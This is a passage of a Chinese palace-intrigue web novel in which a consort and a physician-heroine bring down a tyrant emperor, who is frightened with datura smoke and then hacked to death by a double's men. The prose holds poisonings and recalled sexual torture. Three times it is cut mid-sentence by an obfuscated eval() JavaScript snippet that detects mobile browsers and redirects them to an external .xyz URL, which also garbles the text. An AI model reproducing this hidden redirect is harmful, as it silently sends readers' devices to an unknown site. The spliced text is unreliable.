“嗯。”温静言目送程子栋坐上马车,马车徐徐离去,不见了踪影,这才上了马车回去京城。 今日一别,再相聚时,程子栋才真正知道自己这个姐姐是多么疼惜他,为他铺了怎么样的一条康庄大道,只不过现在的他还有那丝丝缕缕缠绕在心头的情意,没能放下罢了。 京城里,暴君无道的骂声越来越多。 可百姓的声音无论如何也传不到皇宫去,哪怕就隔着一堵宫墙,可那宫墙内外是两个人间。 “郡主,武安伯夫人自缢了。”林嬷嬷从外面回来,立刻来见温令仪。 温令仪垂眸看书,听到这话拿了镇纸压在书上,抬眸:“这么说,冷宫那位死了。” “真被郡主说中了,昨儿周婕妤宫里进了位份,如今是贵妃,冷宫那位不知道从哪里得了消息,逃得冷宫先写掐死了周贵妃,被皇上一剑杀了,还直接把尸首扔回了武安伯府。”林嬷嬷摇头叹息:“这武安伯夫人想不开,随着去了。” 温令仪叹了口气:“武安伯夫人不是个糊涂的,只怕还有别的内情,别人家的事无需多听。” “是。”林嬷嬷应声。 温令仪闭目养神,上次见到周敏的时候,周敏的心思很明显了,她心里的怨恨极深,至于怨恨之人,只怕不单单是永元帝,武安伯府里啊,只怕另有一番天地啊,只看周敏如何对待武安伯夫人的死了。 周敏再次出现的时候,温令仪刚好在配药,虽然这些日子都在养伤,不曾进宫,可永元帝差人来了好几次,不是为了看温令仪是否好转,而是催着温令仪给配药,点名只要和合丸。 温令仪知道宫里所剩无几,更清楚永元帝这几日会越发的力不从心,要说不理解的只有一件事,那便是后宫那些女子很多都怀了身孕,永元帝怎么可能有子嗣?唯有周婷那一胎可以确定是永元帝的血脉,所以温令仪觉得要么是永元帝狗急了跳墙,要么就是有人做了手脚,而这个人是谁呢? 当周敏坐在温令仪旁边,眼角眉梢带着笑意说:“宫里那些女人,都有孕一个多月了,可热闹了。” 温令仪一瞬就明白了,动手脚的人就坐在自己身边。 “若是不能全身而退,你如何自处呢。”温令仪把和合丸装进瓶子里。 周敏理了理手里的帕子:“郡主,我现在啊,特别想要找个人说说话,可放眼京城,能听我说话,我又能相信的人只有郡主一个。” “贵妃娘娘可别高估了任何人,我亦是不可信的。”温令仪说。 周敏没接茬儿,而是说:“周家人极度自私,母亲又软弱可欺,我们姐妹二人从小就养在深闺,待价而沽,本想着周家会选个高枝儿去攀附,可我到底是低估了他们,这高枝儿竟是皇宫。” 温令仪低头搓着药丸儿,没出声,她知道周敏只是想说出来,自己听着就好。 “我妹妹性子不好,过于泼辣,没有心机城府,她只想着入宫后拼命往上爬,那样就能让周家人另眼相待,其实啊,我和我妹妹有一个心愿,就是让母亲离开周家,只是京城女子能有本事和离休夫的太少,郡主真是我辈楷模。”周敏说到这里,竟笑了,无声无息。 温令仪起身收拾干净了桌子,端来了红泥小火炉,摆上了茶台,吹着了火折子点了炭,煮水烹茶。 周敏看着温令仪有条不紊的忙碌,羡慕她恬静的模样,当一杯热茶送到手边的时候,终是被这份温暖熏得红了眼,低着头看着茶盏里的茶汤:“只是,宫里是吃人不吐骨头的地方,妹妹想要解脱,我得送她一程,同时也想要敲醒母亲,让她能早日离开周家,可我错了。” 眼泪落在茶盏里,滴答一声,轻微的声音是那么的震耳欲聋。 温令仪缓缓地把茶送到唇边,抿了一口。 “如今好了,了无牵挂,我已经安排人把小妹接走,让她远走高飞了,剩下的周家人,也不用活了。”周敏抬眸看温令仪:“郡主,所求什么?” 温令仪看着周敏:“活着,我从始至终所求都是活着,每一步都是在为活着努力,周敏,你呢?” 第300章 只怕永元帝的目的,是自己 周敏抬头看着温令仪,活着? 自己想过很多种可能,甚至可以笃定温令仪是想要永元帝的命,弑君都能做出来的事,所求甚大,可万万没想到,温令仪所求竟如此简单。 “你想要什么都可以,想要做什么都可以,可究其根本是得活着,唯有活着,所有拥有的一切才是自己的。”温令仪给周敏续茶:“若是死了,一切都毫无意义。” 周敏想到了母亲。 身为武安伯夫人,地位虽不显赫,可比很多人都贵重了,她容忍夫君抬进门一个又一个妾室,妾室所出的儿子养在名下,给正经的嫡出身份,千万百计想要护着三个女儿,但根本无法改变周家送女入宫的决定。 她如今死了,苦心经营的一切都化为泡影,不正是和温令仪所说的一样吗? 大道至简莫过如此,万般恩恩怨怨,唯有活着并且活下去,才能笑到最后,也才有机会去过自己想要过的日子。 豁然开朗的她起身给温令仪行礼:“告辞。” 温令仪回礼:“只是为了来说说话?” 当然不是只为了说说话,周敏想要让温令仪尽快结束永元帝的性命,那样的人渣多活一天都是灾难,可周敏改变了主意,因温令仪根本不会帮自己,哪怕自己和她的目的是一样的,也绝不会把这件事宣之于口,并且与自己合谋。 “终有一天,我们会殊途同归。”周敏说。 温令仪微微点头,把装好的和合丸送到周敏面前:“我想,如何说贵妃娘娘心里清楚,就恕不远送了。” 周敏嗯了一声,出门离开。 温令仪确实没有送,而是立在门口看着周敏的身影在拐角处消失。 天下归心和众叛亲离是一样的,不过是一个是得,一个是失。 至于周敏,温令仪相信如此聪明的女子,必定会自保,并且活到最后,得偿所愿。 皇宫里,醉醺醺的永元帝眯缝着眼睛看周敏施施然走到近前,问:“爱妃去哪里了?” “臣妾去了郡主府。”周敏回道。 永元帝心里满意得很,没有撒谎骗自己,算是自己的人。 “郡主身子恢复的不错,臣妾心里好受不少,并且郡主十分惦记着皇上,撑着虚弱的身体制了不少丹药,让臣妾带回来献给皇上。”周敏从宫女手里接过来沉甸甸的匣子,打开取出瓷瓶:“皇上,都是和合丸呢。” 永元帝摆手:“惯会拿捏朕,朕如今何须药物?朕正是春秋鼎盛时。” “皇上龙精虎猛世人皆知,再过一段日子,咱们宫里就热闹了,各个宫里的妃嫔都有了孩儿,这个是兴旺之象呢。”周敏笑着说。 永元帝拉着周敏坐在自己的怀里:“你不嫉妒?” “皇上,子嗣是缘分,皇上能让那么多姐妹都有了身孕,那就是臣妾和子嗣的缘分还没到,为何嫉妒?臣妾心里欢喜得很,能让天家瓜瓞绵绵,姐妹们都是大功臣,臣妾羡慕都羡慕不过来呢。”周敏柔声。 永元帝欣慰的捏着周敏的手:“如此胸襟,可为后!你啊,是朕的解语花,贤内助。” “臣妾不敢妄想后位,能陪在皇上身边已经是天大的福分了,后位可以等姐妹们诞下龙嗣,择最聪慧的孩子立为太子再封后,母凭子贵嘛。”周敏说。 如今,后宫唯有周敏是贵妃,就算不当皇后,那也是掌着后宫的权利。 永元帝没发现,后宫所有的妃嫔对周敏是马首是瞻。 从永元帝这里回去含翠宫,周敏把和合丸分别是送出去了一些,但凡没有身孕的秀女都得到了和合丸,至于谁有本事伺候皇上都无妨,就算伺候不到皇上,也不会闲着的,她手里有大把的侍卫可用。 周敏觉得人要作死那就一定会死,若非永元帝杀了最初和宫女有了孩子的侍卫,连怀了身孕的宫女都虐杀死,自己怎么有机会收买这么多侍卫为自己办事呢? 入夜的皇宫,是整个大夏最热闹的青楼。 周敏坐在小佛堂里为母亲和妹妹诵经超度。 一切都那么诡异的和谐。 翌日,皇上没去早朝,也没来含翠宫,周敏得到的消息是昨晚皇上和四个姐妹折腾到了天亮,这会儿跟死了差不多。 “怎么能死呢?”周敏自言自语,让宫女送去自己亲自炖的汤。 她虽不会医术,但有银子,这世上能不被银子打动的人很少。 下半晌,永元帝又神采奕奕的来到了含翠宫,赶巧含翠宫里,太医正在给怀孕的妃嫔们诊脉,永元帝坐在椅子上,看着如此多的女子都怀了身孕,目光落在太医的身上,突然无比想念温令仪。 温令仪的药是真灵丹妙药,但凡自己有点儿力不从心,一粒的效果就很让人满意了,算算日子裴祈安要回来完婚,若是在这个时候让温令仪怀了身孕,那岂不是太有意思的事了? 毕竟,就算温令仪怀了身孕,等能诊出来的时候早就和裴祈安完婚了,裴祈安打掉牙也得往肚子里咽,自己这么多孩子必定能有继承大统的,到时候裴祈安养大的孩子会继续辅佐自己的孩子,等自己询个合适的机会,让这件事不再是秘密,江山永远只能是郎家的江山。 “皇上,臣妾举荐贵妃娘娘为后。”怀了身孕的韩昭仪站起身说。 一呼百应,这些个女人们叽叽喳喳的都这么说。 永元帝看了眼周敏惊慌的样子,心里反倒觉得周敏当皇后没什么不妥当的,毕竟立后是大事,群臣女眷入宫道贺也是应该的,温令仪身体既然好了,那就没有理由再推脱不入宫。 “好,朕这就下旨。”永元帝叫来了太监,吩咐下去。 宫里顿时喜气洋洋起来。 永元帝是见到过先皇后宫闹腾到鸡飞狗跳的情景,再看自己眼前这景象,龙心大悦,索性把所有有孕的妃嫔都升了位份。 圣旨昭告天下,三日后立后大典。 温令仪接到了宫里的消息,曹忠叮嘱温令仪千万不要入宫。 “找死都挑好了时候。”温令仪知道,周敏在等,只要自己动手,周敏绝对不会手软。 虽然曹忠说不让自己入宫,可是入宫这事儿自己推脱不掉,甚至从曹忠如此直白的叮嘱中都能揣测一二,只怕永元帝的目的,是自己。 果然如温令仪想得这般,当天永元帝就单独给温令仪下了一道圣旨,让她提前一日入宫陪皇后娘娘。 温令仪把圣旨放在桌子上,取出来了自己的小匣子,小匣子里是各种毒药,她在想哪一种更适合永元帝。 “阿宁。” 温令仪手一抖,回头看着进门的裴祈安,起身扑到了裴祈安的怀里:“你可算回来了。” 第301章 戴远青浴池寻仇 裴祈安风尘仆仆的归来,看到温令仪准备的那些瓷瓶,不问也知道是**。 敢觊觎自己的女人,裴祈安嘴角勾起一抹冷笑,若是需要温令仪出手,自己岂不是个无能之辈? “还以为要等几日才归呢。”温令仪说。 裴祈安轻轻地拍了拍温令仪的后背:“若不是宫里头不太平,倒也不会如此着急,那边的事还有些没办妥当,大哥接手了。” 温令仪抬眸看裴祈安,他极少露出疲态,更从来都会仔细打理仪容,现在不止累还有些憔悴,下颌上的胡茬都露头了。 “我本想自己动手的。” 温令仪知道,能让裴祈安如此憔悴,拼了命的往京城敢,必定是得到了消息,宫里不止曹忠,肯定还有别的眼线,只不过自己不知道罢了。 裴祈安握着她的手:“若非那些宝藏要安顿好,我就不该离开你身边,不过阿宁做的非常好,入宫只管陪着新皇后,余下的事自然有人做。” “嗯。”温令仪从善如流。 封后大典前一日,温令仪入宫。 原本住在含翠宫里的周敏已迁居凤仪宫,宫里的宫女太监们喜气洋洋,跟着的主子登上了后位,他们的身份也跟着水涨船高。 周敏看着只身一人前来的温令仪,安排下去,就让温令仪住在自己的偏殿里。 往来忙碌的宫女太监,陪着周敏检查封后大典需要穿的朝服凤袍的温令仪,整个凤仪宫里热闹的犹如要过年一般。 “你胆子可真是大。”周敏在四下无人的时候,低声说。 温令仪微微勾起唇角:“哪能怎办呢?毕竟圣旨都到了。” 周敏抬眸看温令仪的神色,轻轻地叹了口气:“如今这宫里就像是烂泥塘,聪明人都在想着自保,你也跟我说过,唯有活着一切才都是真实的,你入宫来是求活?” “肯定不是抱着必死决心来的,安心。”温令仪轻轻地拍了拍周敏的手背。 白日里忙忙碌碌,晚上张灯结彩,负责沐浴的宫女早早的候在外面,各宫的妃嫔也都来了凤仪宫陪着未来的皇后,温令仪坐在上首,看着这些娘娘们和周敏说说笑笑,言语之中多有恭敬,心里是佩服周敏这份本事的,能让这么多归心,还是在后宫之中,简直太难得了。 “皇上驾到。”曹忠的声音从外面传来。 周敏率领妃嫔走在前面,温令仪自然而然的跟在最后面。 永元帝进了院子看到跪在面前如此多人,微微的蹙眉,看到最后面的温令仪,脸上的表情才柔和下来。 莺莺燕燕围着永元帝进了凤仪宫大殿,温令仪没露面,去了偏殿,这叫避嫌,就算是永元帝想要刁难,那也师出无名。 凤仪宫大殿上,妃嫔们载歌载舞,永元帝没见到温令仪,心里明白这是在避嫌,这种感觉让他觉得极为有趣儿,眼前这些女人哪个不顺从?太顺从也是无趣的很,再说了,温令仪以为躲就能躲得过去?这里是深宫,自己是这里的主子。 一想到温令仪会叫天天不灵,叫地地不应的场景,只觉得心里都畅快的厉害。 酒过三巡,永元帝让这些妃嫔们回去歇息,明日封后大典,他留宿在凤仪宫。 妃嫔告退后,曹忠安排人伺候永元帝沐浴更衣,周敏坐在凤仪宫的大殿上,刚才的热闹犹如一场梦境,如今空荡荡的大殿才是它本来的模样。 “娘娘。”老嬷嬷低着头,跪在周敏的脚边儿。 周敏伸出手扶着她起身:“安排好了?” “是,老奴盼着这一天,没想到真被老奴等到了,只要能为我家姑娘报仇,老奴死而无憾。”老嬷嬷说。 周敏闭了闭眼:“有个人说,人只有活着,一切才是真实的,**的人就什么也没有了,这人间,赤条条来去才是真相。” “老奴是个愚钝的人,我家姑娘入宫为后,被虐打得血肉模糊,那人简直比地狱恶鬼还凶残。”老嬷嬷摇头:“娘娘可能不信,老奴只是怜惜我们家姑娘没有遇到贵人相助,死的可怜。” 周敏很敬佩眼前的老仆,先皇后对外宣称薨了的时候,这老仆就躲进了御花园,跟伺候御花园的老嬷嬷一起吃住,不肯离开这里,只为了给主子报仇,就凭这份心思,她保不住,也希望有人能护得住,带出宫去,颐养天年。 “事成之后,有人会带您离开,宫外已经为你准备好了宅院和仆从,他们会照顾你的。”周敏说完,低声:“去吧。” 老嬷嬷跪下来重重的给周敏磕头,她在御花园等待时机,可没想到这位贵人会找上自己,老天垂怜,也知道自己看着长大的小主子太可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218413|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怜,所以才会让自己逮到机会报仇。 退下的老嬷嬷去了另外安排好的偏殿,偏殿里三个女子都换上了各色的衣服,红色的大婚吉服,白色的常服和黑金交织的寿衣。 老嬷嬷亲自给她们上妆,跪着磕头谢恩,陪着三个人从暗门进了专供帝后沐浴的浴房。 浴房里,灯火明明灭灭,永元帝刚刚服用了和合丸,为了让自己一展雄风,用了平日三倍的份量,正品着参茶,等着药起效。 “皇上,妾身给您请安。” 永元帝睁开眼睛,看着水雾缭绕,若隐若现中有一个女子身影,那身影越走越进,大红吉服,手持团扇,发髻高挽,戴着凤冠。 眼角眉梢都是笑意,他沉声:“敏儿,今晚朕有要事要办,明晚陪着你,回去吧。” 他以为是周敏感激自己立她为后,煞费心思的来谢恩呢。 结果,那吉服女子像没听到似的,就那么走下了浴池,一步步靠近永元帝,可那团扇遮住了眉眼,永元帝感觉不对了。 一扭头,见自己竟立在水中,手里提着马鞭,凶神恶煞的抽了过去,那吉服女子承不住这一鞭子的力道,惨叫一声倒在了浴池中。 这?这! 永元帝想到了,这是先皇**宫第一夜,自己浴池虐打她的景象。 “曹忠!曹忠!”永元帝失声喊叫。 可哪里来曹忠的影子,眼前那个自己从水里提起吉服女子,竟拳打脚踢,血迹在水里洇开,血腥味十分刺鼻。 永元帝想要后退,可身体却动弹不得。 不远处,老嬷嬷手里的香炉冒着浓浓的烟雾,空气里都是曼陀罗的香味儿。 “皇上,臣妾知错了。” 永元帝瞪大眼睛,眼看着那被按在水里的吉服女子竟站了起来,披头散发,一身白衣,她扭头逃走,而自己追了上去。 往下,永元帝不敢看了,因为他知道自己做了什么。 屏风上映出了好多人的身影,男人们肆意狂笑,女子痛哭哀嚎,污言秽语不堪入耳,可这些永元帝最清楚,他让人找来十几个乞丐,就在这里拉起了屏风,让那些乞丐折腾了戴远青一夜。 戴远青! 他都忘记这个名字很久了,怎么突然想起了她?这到底是怎么了? 第302章 乱刀**,剁成肉馅吧 永元帝拼了命的喊曹忠,可曹忠呢? 突然,屏风倒了,黑金色寿衣,青白色的脸,面无表情的女子两行血泪,她跪在岸边看着永元帝:“皇上,为何啊?这是为何啊?” “朕不知道!你该死!你是个福薄命短的人!你活该!”永元帝厉声时候。 “皇上,为何啊?” “为何啊?” “皇上,为何啊?” 穿着吉服的戴远青、被凌*辱浑身血迹的戴远青和穿着寿衣的戴远青同时出现,她们慢腾腾的下了水池,一步步逼近永元帝,与此同时,永元帝觉得有一双手,不不不,好多双手抓住了那处,药效在这个时候到了顶峰似的,他惊恐得发出了惨叫声。 三个女人靠近永元帝,穿着吉服的戴远青突然扑过来,他惨叫:“退开!朕乃真龙天子!尔等鬼魂休想伤害朕!” 三女把他拖到了岸边,拿着木棍拨来拨去,永元帝突然哀嚎一声,那处喷出来了白色和血色的液体,而他脸色瞬间萎靡,眼窝青紫。 穿着寿衣的戴远青嫌弃的起身,过来捏着永元帝的领子:“昏君,我来接你了!黄泉路上等你!” 永元帝一口气没上来,昏**过去。 周敏走出来,三女给周敏跪下磕头。 “你们的良籍、养命之资都在这里,速速离开,往后余生好好活着。”周敏说。 三女谢恩,跟着老嬷嬷去收拾妥当,有三个侍卫护送着离开。 这边,周敏让人清理干净了水池,一切恢复原样,把永元帝放在水里,再带着人离开。 曹忠进门,取出来解药放在永元帝的鼻子下面来回几次,收了解药轻声:“皇上,皇上醒醒。” “我命休矣!”永元帝的声音都嘶哑了,猛地睁开眼睛,看到曹忠的时候,整个人像是猴子一般趴在他身上。 曹忠赶紧喊来了两个小太监把永元帝抬出来,放在浴池旁边的卧榻上。 “皇上,您这是怎么了?”曹忠跪在卧榻旁,问。 永元帝发疯一般坐起来,四处寻找:“戴远青呢?戴远青呢?你出来啊!朕不怕你!” “皇上,皇上。”曹忠看着赤脚下了卧榻,发疯一般四处狂奔的永元帝,带着两个小太监在后面一路追着。 永元帝跑了没几步,一头栽倒在地上,额头撞到了汉白玉石上,血流如注。 “快,传太医!”曹忠过来跪坐在地上扶起来永元帝,带着哭腔:“皇上,您这是怎么了?” 良久,永元帝才出声:“朕梦魇了,梦魇了,扶朕去歇着。” 曹忠听到永元帝突然正常了的语调,不敢耽搁,扶着他来到凤仪宫的寝殿。 “皇上。”周敏迎过来,看到永元帝脸上有血迹,惊慌失措:“这是怎么了?” 永元帝看着周敏,摆了摆手:“无妨。” 周敏伺候着永元帝更衣,等永元帝躺下,亲自给他绞着头发,心里暗暗纳闷,到底是恶事做多了,他竟不怕了。 不过,周敏有耐心的很,往后的日子长着呢,自己想要弄死他,不急于一时。 太医来了,诊脉过后跪在龙榻前:“皇上需静养,切不可思虑过度,更要禁欲。” 永元帝转过头看着太医:“你说朕纵欲?” “臣不敢。”太医赶紧磕头:“皇上梦魇更伤身。” “药。”永元帝说。 太医额头冷汗都冒出来了:“皇上,是药三分毒,臣给您开安神的方子,别的药万万不可再用了。” “滚!滚!”永元帝嘶吼着抓起来枕头砸在太医的头上。 太医连滚带爬的逃走了。 永元帝猛地看向周敏:“叫温令仪来!” “是。”周敏多一个字都没说,吩咐人去请温令仪。 温令仪来到寝殿,看着永元帝发青的面色,微不可见的挑了挑眉:“臣女拜见皇上。” “给朕诊脉。”永元帝看到温令仪,脑海里再也没有别的心思了,甚至那处都像是没了似的,若非今日想要成全她,自己怎么会用那么多和合丸! 用了那么多和合丸后,又遭受重创,如今跟废人还有什么区别! 滔天恨意取代了一切。 温令仪过来给诊脉,片刻收回手:“皇上可是梦魇了?” “是!”永元帝眼神里露出了杀意。 温令仪点了点头:“梦里还有遗,伤了根本,只怕百日内都需要静养,不可再近女色,或许还有机会。” “都退下。”永元帝冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229812|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声:“温令仪,单独留下。” 周敏刚要说话,温令仪立刻起身:“皇后娘娘确实要休息了,明日封后大典可是我朝大事,皇上如今身体欠佳,后宫娘娘们有孕在身,切不可乱了阵脚。” “好。”周敏看出温令仪眼里的意思,带着人退下,就连曹忠都退到门外。 寝殿里只有永元帝和温令仪两个人。 “朕想要成全你,你竟算计朕!温令仪,果然最毒妇人心!”永元帝愤恨的说。 温令仪立在床边,静静地看着永元帝:“皇上,这不是你所求吗?臣女怎么成了毒妇?若非臣女,后宫娘娘们怎么能有龙嗣呢?皇上怕是忘记了,您的身体是什么样子了吧?” “还敢狡辩!朕想要做什么,你难道不知?裴祈安就是个天阉之人,你若能诞下朕的血脉,以后好处多着呢。”永元帝说。 温令仪笑了:“皇上啊,你现在还行吗?” “温令仪!还说不是你害朕!”永元帝看温令仪这幅样子,还有什么不明白的? 温令仪坐在椅子上,抬眸看着永元帝:“你害**那么多年轻女子,但凡有一个想要寻仇的,你都会不得好死,你为君不仁,对百姓更是毫无怜悯之心,说什么别人害你,这不都是你自己找的吗?” “朕,杀了你!”永元帝怒急。 温令仪冷笑:“我可真太害怕了,玉郎啊,你看嘛,他要杀我。” 永元帝眼看着一身玄袍的裴祈安走进来,心顿时凉了半截,再看裴祈安身边的男子,整个人都凉了半截,那是自己吗?怎么跟照镜子似的! 裴祈安侧身,冲自己带进来的人拱手:“皇上,这人假冒天子,该如何惩治。” “乱刀**,剁成肉馅吧。” 永元帝挣扎着要起身,大声疾呼:“弑君了!弑君了!来人啊。” 只是,只喊出来两声,两条手臂就被贴着肩膀削掉了,眼前十几个黑衣人把他拉下龙榻,明晃晃的大刀高高举起…… “不!”永元帝怒吼的声音戛然而止。 裴祈安已经捂着温令仪的眼睛带她离开了。 偏殿,温令仪疑惑的看着裴祈安:“到底发生了什么事情?我什么也没做啊,那个假皇上是谁?我觉得好熟悉!” 第303章 驾崩和禅让诏书 “沐白。” 裴祈安柔声:“这也是权宜之策,接下来只需要你回郡主府。” “立后大典呢?”温令仪知道周敏做了很多事,殊途同归的帮了大忙,如今立后昭告天下,接下来的事不管怎么发展,对周敏都是不利的。 裴祈安往外看了眼:“不如,你和周敏见一面。” 周敏已经站在门外了。 “好。”温令仪当然想要见周敏,她希望周敏有个好归宿,她担心周敏学那些世家女子,功成名就会选择死路。 偏殿里,茶香袅袅。 温令仪看着周敏,她容色温和,捧着茶盏轻轻地啜饮,若不是她额角青筋凸起,温令仪都看不出周敏此时心情的不平静。 “周敏,我很好奇,你到底做了什么?”温令仪出声。 周敏抬眸看温令仪,放下手里的茶盏,轻轻地叹了口气:“我的妹妹在冷宫里,就算不得宠也会诞下龙嗣,昏君的身体你是清楚地,唯一的天家血脉,只要不灭国,她就能安稳余生。” “确实。”温令仪看着周敏眼里浮起的泪意:“但周婷并非唯一一个怀孕的。” “那个怀孕的,是借种,也就是她见我妹妹没了仰仗,用了下作手段害死我妹妹的。”周敏说到这里,勾了勾唇角笑了,释然的笑容看得温令仪心疼。 轻轻地叹了口气,周敏继续说:“我不能动她,也不会动她,会让她把孩子生下来,身败名裂,毕竟她的这个方法也给了我很大的启发,宫里那些供昏君取乐的宫女和侍卫,哪个不怕死呢?我趁机让他们成为真正的夫妻,给他们机会离开这里,成为平常人。” 温令仪看着茶盏里飘着的茶叶在水里打转儿:“而你这样的安排,在极端的时间内收买了人心。” “有人暗中相助,我一开始不知道是谁,刚刚我知道了,摄政王真是好手段。”周敏抬起手理了理鬓边的碎发:“当然,这也算是贵人相助,让我能这么快就得偿所愿。” 温令仪给周敏续茶。 “先皇后死的很惨,她的奶娘一直都藏在宫里,今晚我就是利用了先皇后的奶娘和几个宫女在浴池里用了曼陀罗,昏君才被吓成那个样子的。”周敏如释重负一般:“现在,我只想好好睡一觉。” 温令仪说:“药王谷是个很漂亮的地方,我本想着有一天回去药王谷悬壶济世,周敏,愿不愿意去?” “我?”周敏摇头:“不去了。” “那你还能去哪里呢?”温令仪担忧的问。 周敏想了想:“出去走走,我觉得大夏一定会越来越好,我想看看山水,看看不一样的风土人情,此间事了,我就自由了。” 温令仪刚要说话,周敏说:“郡主不要担心我,你说的有道理,只有活着,才能记住一切,才能做自己想要做的事,以前总是被牵绊着,以后不会了,只需要为自己活着就好。” 显然,周敏有自己的想法,并且心意已决。 温令仪当晚没有出宫,第二天早朝的时候,所有人都等着封后大典,武安伯也被请到了大殿上,群臣恭维着未来的国丈,甚至认为武安伯很快就会被重用,以后加官进爵都是寻常事。 “皇上偶感风寒,择日再立后,退朝。”曹忠出现,传了口谕。 朝臣一个个面面相觑,有一些本就厌恶透了如今朝廷的官员,趁机拂袖而去,若非罗无咎罗老大人殷切叮嘱,让他们切不可意气用事,辞官而去,他们真是多一刻都不想穿这个官服了。 “怎么会?天子金口玉言,这么大的事怎么能说放下就放下了呢?”武安伯周柏廷上前拦住了曹忠的去路,急切的问。 曹忠蹙眉:“武安伯,这是皇上的旨意,咱家可不敢置喙。” “皇后娘娘呢?我要见皇后娘娘。”周柏廷说。 曹忠不悦的打量着周柏廷:“咱家可以代为传话,至于往后娘娘见面不见你,咱家可说了不算。” “好好好,我就在宫门口等着。”周柏廷料定周敏会见自己,毕竟现如今哪里还有人会帮衬她? 自己可是亲爹! 曹忠回去后宫,求见皇后娘娘。 周敏道谢后,根本就没有见周柏廷的意思。 周柏廷在宫门口等到了下半晌,还不见有人出来,正想着和守卫再说说,家奴急匆匆跑来。 “什么?消息哪儿来的?”周柏廷险些站不稳,抓住家奴的手臂问。 家奴说:“大街小巷都在传,先皇后化成厉鬼回来索命,皇上据说吓得当场昏迷,太医束手无策,就是凤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229813|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳郡主都没办法了。” 怪不得!怪不得啊! 周柏廷哪里还会在宫门口等着?立后大典前夕出现这样的事,皇上要怪罪到周敏头上多正常?周敏受罚,周家就好不了,他这不是触霉头吗? 京城这下可热闹了,有一些人跑去太医院打听,太医院破天荒的对外宣称,皇上病危。 宫里。 沐白假扮永元帝,周敏陪在身边,三日后出现在朝堂上,沐白在朝堂上大口大口吐血,传旨禅让皇位给摄政王,随即退朝,当晚就驾崩了。 一夕变天。 温令仪在郡主府里,消息送到郡主府的时候,她沉默了许久。 她知道会是这样的结果,更知道不用等太久,可如此轻而易举就拿到了禅让诏书,温令仪还是有一种在做梦的虚幻感。 温家人都来了郡主府,温城、温长安都面色凝重。 温老夫人和温夫人陪着温令仪。 他们在等,等裴祈安。 这样的变数太大,二人的婚事要不要继续,温家人需要看裴祈安的态度,若裴祈安态度暧昧,温家是无论如何也要护着温令仪的。 京城乱套了。 裴祈安接了禅让诏书后,直接来郡主府。 郡主府里。 裴祈安双手捧着禅让诏书送到温城面前:“祖父,玉琢明日登基。” “玉琢啊。”温城让裴祈安坐下,语重心长的说:“今时不同往日,登基势在必行,我倚老卖老一回,你和阿宁的婚事,如何打算的啊?” 裴祈安容色凝重:“如期举行,大婚当日封后,绝无更改可能。” 温城轻轻地叹了口气:“只怕,阿宁为后,会被世人诟病。” “祖父,非但阿宁是皇后,更是后宫唯一的主人,玉琢没有那么多心力,后宫也无需成为牵制前朝的把柄。”裴祈安说:“明日我登基,阿宁就陪在身边,后宫事务,都是她做主的。” 温城欣慰,这确实是温家最想要看到的结果。 至于以后,路还很长,且行且珍惜就好,看似禅让诏书来的容易,可这一切不过是开始,若裴祈安不能让四海归心,必定会再次冒出来许许多多揭竿而起的人,乱世和太平盛世,只是一念之间啊。 第304章 天阉之人,如何能让这天下长治久安? 翌日。 温令仪入宫。 这次跟任何一次入宫都不同,她身为未来的皇后,入宫负责处理永元帝后宫的一切事务。 裴祈安去早朝,算是小登基,行使皇帝权力,但余下登基事宜都搁置,处理朝中紧急事务,官员任免和颁布一些善后所需旨意,其中头等大事,送永元帝入皇陵。 没有停灵的说法,发丧都很简单。 无人多说半个字,一朝天子一朝臣,更何况这是改朝换代。 虽然未动一兵一卒,但从此以后这朝廷跟郎家再无关系,可很多人更担忧,虽说裴祈安继位成了皇帝,可一个天阉之人,如何能让这天下长治久安? 靖安司全员出动,但凡敢造谣生事,一律缉拿归案,这让京城里人人都噤若寒蝉,没有人敢议论非议。 更让人震撼的是后宫。 温令仪和周敏坐在凤仪宫的大殿上,所有的妃嫔和侍卫都立在门外,周敏手里的名册翻过去一页,就有一对儿小夫妻带着丰厚的安家费离开,曹忠带路从后门,赠送马车一辆,远走高飞,同时他们都有了新的身份,跟过去再无半点瓜葛。 就算是同样为周敏所用,可也互相不知对方下落。 永元帝昏庸无道但不是没脑子,侍卫也好,宫女也好,都是那些没有任何家世背景的寻常人家。 至于那些妃嫔,当初家中让她们入宫,就已经是不管他们死活了,如今怀了身孕,就算是想要回家,那也会让家里人避如蛇蝎,甚至会痛下**。 如今能得足够的银子傍身,又有皇后亲自写的婚书在手,她们不是傻子,怎么可能不按照皇后的安排离开,去过顺遂的日子。 日暮偏西,最后一对儿有了身孕的小夫妻被送走后,温令仪和周敏就在凤仪宫摆了一桌席面,两个人对饮到深夜。 